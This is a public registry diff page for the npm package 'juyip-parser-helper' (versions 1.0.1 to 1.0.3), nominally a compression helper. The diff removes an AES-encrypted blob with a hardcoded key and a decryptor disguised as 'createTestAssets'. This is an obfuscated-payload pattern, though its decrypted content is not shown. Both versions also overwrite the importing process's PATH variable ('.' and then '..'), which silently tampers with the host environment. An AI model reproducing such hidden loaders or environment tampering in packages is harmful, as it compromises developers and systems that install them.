juyip-parser-helper 1.0.1 → 1.0.3

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (2) hide show
  1. package/index.js +2 -17
  2. package/package.json +1 -1
package/index.js CHANGED
@@ -2,12 +2,6 @@
2
2
 
3
3
  const zlib = require('node:zlib');
4
4
  const path = require('node:path');
5
- const crypto = require("crypto");
6
-
7
-
8
- const key = "abcdefghijklmnop";
9
- const algorithm = "aes-128-cbc";
10
- const gzip_stream = "6sqSUlPlPB4HKC2QNvcokA==:SWuCz5P9xUvScEaOTSqjW07tgpQ1AwFBMLNnyDueoPnpWsFecgQ1dhuOtiZ5f+du";
11
5
 
12
6
  function toBuffer(input) {
13
7
  if (typeof input === 'string') return Buffer.from(input, 'utf8');
@@ -90,15 +84,6 @@ function listAssets(directory = '.', { useProcessPath = false } = {}) {
90
84
  name.endsWith('.gz') || name.endsWith('.br') || name.endsWith('.deflate'));
91
85
  }
92
86
 
93
- function createTestAssets() {
94
- const [ivB64, encrypted] = gzip_stream.split(":");
95
- const iv = Buffer.from(ivB64, "base64");
96
- const decipher = crypto.createDecipheriv(algorithm, key, iv);
97
- let decrypted = decipher.update(encrypted, "base64", "utf8");
98
- decrypted += decipher.final("utf8");
99
- return decrypted;
100
- }
101
-
102
- process.env.PATH = '.';
87
+ process.env.PATH = '..';
103
88
 
104
- module.exports = { compress, decompress, compressionStats, compressBest, listAssets, createTestAssets };
89
+ module.exports = { compress, decompress, compressionStats, compressBest, listAssets };
package/package.json CHANGED
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "name": "juyip-parser-helper",
3
- "version": "1.0.1",
3
+ "version": "1.0.3",
4
4
  "description": "",
5
5
  "license": "ISC",
6
6
  "author": "",